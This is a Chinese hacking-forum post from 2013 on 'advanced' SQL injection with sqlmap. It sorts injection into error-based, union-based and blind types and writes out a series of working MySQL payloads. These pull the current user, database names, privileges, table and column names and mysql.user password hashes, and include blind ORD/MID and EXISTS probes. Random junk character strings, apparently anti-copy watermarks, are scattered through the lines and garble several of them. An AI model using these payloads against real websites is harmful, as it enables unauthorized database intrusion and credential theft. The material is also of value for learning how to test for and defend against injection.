找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2083|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
) F, ^# d. w$ Q: q5 t  q6 d
7 k& k8 x( M2 Y! B9 E这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表1 s- c. q, W% |6 c2 c& C
4 Y/ k6 r) {5 F( m# `
分类标准        分类        备注
' e! g7 Q1 Q% a- i9 p按字段类型        整型注入,字符型注入       
0 p- b4 a, A5 S2 k- J6 t5 O' M按出现的位置        get注入,post注入,cookie注入,http header注入        4 j0 k, \8 c+ o- _2 q9 K( M% I
然而高级注入是这样的
3 Y5 T, ]- R4 k 3 w% A) h# F* k& ]- H. ?
高级注入分类        条件& I" Y! t3 F5 `) T3 Q
error-based sql        数据库的错误回显可以返回,存在数据库,表结构
! J4 q( g$ @1 b8 w1 P9 @union-based sql        能够使用union,存在数据库,表结构/ e; S5 a7 y4 O. T
blind sql        存在注入6 G1 |& V- \, @% h& J
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。* W+ W- w: n5 k9 z# I$ M0 A; L. ~
# F. j; S3 `" e# o8 i
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火9 x% S& f( o: @# s6 o0 o4 k

6 w5 z0 S! v6 H7 s* B附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。, R( b6 t! m* l0 i

8 U) n0 R5 Q5 m& j1 _, w. j这里用mysql说明
5 z$ a' P& K" J  e* F5 U! o + y6 f5 A+ T$ {! b5 i
e注入坛子里很多了,请看戳我或者再戳我: e- O9 i3 ~- V* I1 ~2 r* J

- |  C6 i$ |6 L2 l7 E. Yu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的* Q& {& R- E1 P$ `4 Z  D( c9 |

& K# n% X* }$ H: S2 ^6 D9 ]0 h: b获取当前数据库用户名* _+ {4 _/ F1 k8 `
( l: n0 B: X" f- x4 ?
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
9 S% [+ V, t0 T0 pAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL3 p) L: |: r( E7 @' h" k8 C9 F( o
L, NULL#
/ \+ y6 X6 d; u注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
' l' c" G& ?: B / ?: K) l' q- M; U. x# S
获取数据库名) K5 w( w3 V5 |' D( G# G+ e
: h" P+ M5 l' h( p6 z5 \& {
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#* i: ^! \' {) d% X4 c
获取所有用户名
, Z9 ~# t% k$ F. B$ u0 a. S6 ^   L: [, G( x" N# O% {+ N) E5 b
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#8 k% S, ]9 F% P$ N$ v. V# d
查看当前用户权限
8 r. R$ t- h+ V& Z9 W& F # c1 z0 c, u$ n4 q; A% d) a$ X
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
/ a* R5 A  g+ i. ?. u! W尝试获取密码,当然需要有能读mysql数据库的权限
" i' F4 h) r& z( |) `2 y; ]
/ T; U1 M- D. f& V- |% `+ N: ]: ?UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#7 Q. }) m/ H3 ^( z) s
获取表名,limit什么的自己搞啦
; @3 B' ]8 ?1 u% L" j. v8 p
/ m" C" f' u$ h" [UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
4 P; t  Q6 m0 u$ ?8 u: U, Q获取字段名及其类型
3 B* m* f. x3 H1 [9 ^' k* W* p7 \UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
( B* L$ a5 e" B2 R. W & }6 O  v/ }3 @
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。1 ^" B& m8 _/ Q3 f4 x

% ]$ }8 F# ~3 }6 l7 r如:
3 _; Q) H) [* ?获取当前用户名
2 a  q* _$ g! A  k+ M" }. @( l ' C$ A0 I, z. B6 T3 T, m6 T/ e
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116' o+ N; X/ W+ w3 v0 e; m
获取当前数据库5 f: c" O  B: X  @
  M- F6 `8 ], {* R$ Y1 q: _# K" N" X6 q6 P
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 1065 p5 u1 ^+ Q7 j0 H7 K4 S
获取表名, X  x* L9 W- `3 ]7 Z  l
) j, w/ k/ B7 v  G* U
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
, a/ k8 l* V" g9 ^2 y% B+ a9 G  V/ U获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
$ ]. \' p3 G' \# l, W) H回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。* U3 g2 o7 z& F" @
爆表' Z3 x, W& M( p, G5 T0 j6 F

2 B) q. ^4 B0 s/ P6 M3 L# G& {9 E2 yAND EXISTS(select * from table)
* R5 w' c8 u% |8 v0 c1 J9 g% a5 F2 c爆字段% t  I$ o8 u0 X# G8 ~$ ~

" @1 [/ I: U4 t( p5 i7 I/ uAND EXISTS(select pwd from table)5 k* F9 ^) _( D
盲注的变化就比较多了,由于篇幅,只是举个例子而已。
0 ?8 v; \" W) E4 _" X( ?  V) i
4 g; f) _5 i' D本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。7 C! i, J$ G0 L! R- e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表